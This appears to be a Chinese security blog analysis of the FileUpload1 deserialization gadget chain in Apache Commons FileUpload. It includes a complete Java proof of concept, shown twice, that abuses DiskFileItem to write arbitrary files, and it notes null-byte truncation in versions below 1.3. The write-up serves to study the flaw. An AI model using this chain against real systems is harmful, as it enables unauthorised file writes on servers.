FileUpload1反序列化链分析
0x00前置知识
DiskFileItem
org.apache.commons.fileupload.FileItem
表示在 multipart/form-data
POST 请求中接收到的文件或表单项。
org.apache.commons.fileupload.disk.DiskFileItem
是 FileItem 的实现类,用来封装一个请求消息实体中的全部项目,在 FileUploadBase#parseRequest
解析时进行封装,动作由 DiskFileItemFactory 的 createItem
方法来完成。
当上传小文件时,直接保存在内存中,上传大文件则会以临时文件保存。
在上传的过程中,用到了DiskFileItem类的以下几个属性:
- repository:文件保存的位置
- sizeThreshold:文件大小阈值,如果超过这个值,上传文件将会被储存在硬盘上
- fileName:原始文件名
- dfos:一个 DeferredFileOutputStream 对象,用于 OutputStream 的写出
- dfosFile:一个 File 对象,允许对其序列化的操作
DiskFileItem#readObject()
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
in.defaultReadObject();
if (repository != null) {
if (repository.isDirectory()) {
if (repository.getPath().contains("\0")) {
throw new IOException(format(
repository.getPath()));
}
} else {
throw new IOException(format(
repository.getAbsolutePath()));
}
}
OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();
cachedContent = null;
}
-
commons-fileupload < 1.3 可以使用
\0
截断,便可以控制文件名 -
commons-fileupload > = 1.3.1 新增了\0的判断,文件名使用
format("upload_%s_%s.tmp", UID, getUniqueId())
生成随机的文件名
这里调用getOutputStream()
,获取dfos。
public OutputStream getOutputStream()
throws IOException {
if (dfos == null) {
File outputFile = getTempFile();
dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
}
return dfos;
}
如果cachedContent
不为空,则直接把cachedContent
写入。否则将从dfosFile
的内容读取出来写入文件。
这里看一下dfosFile
是哪来的? 来自DiskFileItem#writeObject
private void writeObject(ObjectOutputStream out) throws IOException {
// Read the data
if (dfos.isInMemory()) { //判断是否在内存中,如果在内存中,则直接获取
cachedContent = get();
} else {
cachedContent = null;
dfosFile = dfos.getFile();//从dfos流当中获取对象
}
所以只需要控制DiskFileItem
类的属性就能利用反序列化上传文件了。
package com.le1a.util.fileupload1;
import com.le1a.util.SerializeUtil;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.File;
import java.lang.reflect.Field;
public class FileUpload {
public static void main(String[] args) throws Exception {
// 创建文件写入目录 File 对象,以及文件写入内容
String charset = "UTF-8";
byte[] bytes = "flag{Success!!!}".getBytes(charset);
// 在 1.3 版本以下,可以使用 \0 截断
// File repository = new File("C:\\Users\\YiJiale\\Downloads123.txt\0");
// 在 1.3.1 及以上,只能指定目录
File repository = new File("D:\\Cc\\IntelliJ IDEA\\FileUpload1");
// 创建 dfos 对象
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);
// 使用 repository 初始化反序列化的 DiskFileItem 对象
DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);
// 序列化时 writeObject 要求 dfos 不能为 null
Field field1 = DiskFileItem.class.getDeclaredField("dfos");
field1.setAccessible(true);
field1.set(diskFileItem, dfos);
// 反射将 cachedContent 写入
Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
field2.setAccessible(true);
field2.set(diskFileItem, bytes);
byte[] evilbytes = SerializeUtil.serialize(diskFileItem);
SerializeUtil.unserialize(evilbytes);
}
}
0x01Poc构造
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3.1</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
首先创建文件内容,然后设置编码,然后创建repository
文件路径。
String charset = "UTF-8";
byte[] bytes = "flag{Success!!!}".getBytes(charset);
File repository = new File("D:\\Cc\\IntelliJ IDEA\\FileUpload1");
然后创建dfos对象,并且把文件路径写入。
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);
创建DiskFileItem类
DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);
反射修改DiskFileItem的dfos属性为我们刚才创建的dfos对象。
Field dfosFile = DiskFileItem.class.getDeclaredField("dfos");
dfosFile.setAccessible(true);
dfosFile.set(diskFileItem, dfos);
然后反射修改cachedContent
内容
Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
field2.setAccessible(true);
field2.set(diskFileItem, bytes);
完整Poc
package com.le1a.util.fileupload1;
import com.le1a.util.SerializeUtil;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.File;
import java.lang.reflect.Field;
public class FileUpload {
public static void main(String[] args) throws Exception {
// 创建文件写入目录 File 对象,以及文件写入内容
String charset = "UTF-8";
byte[] bytes = "flag{Success!!!}".getBytes(charset);
// 在 1.3 版本以下,可以使用 \0 截断
// File repository = new File("C:\\Users\\YiJiale\\Downloads123.txt\0");
// 在 1.3.1 及以上,只能指定目录
File repository = new File("D:\\Cc\\IntelliJ IDEA\\FileUpload1");
// 创建 dfos 对象
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);
// 使用 repository 初始化反序列化的 DiskFileItem 对象
DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);
// 序列化时 writeObject 要求 dfos 不能为 null
Field field1 = DiskFileItem.class.getDeclaredField("dfos");
field1.setAccessible(true);
field1.set(diskFileItem, dfos);
// 反射将 cachedContent 写入
Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
field2.setAccessible(true);
field2.set(diskFileItem, bytes);
byte[] evilbytes = SerializeUtil.serialize(diskFileItem);
SerializeUtil.unserialize(evilbytes);
}
}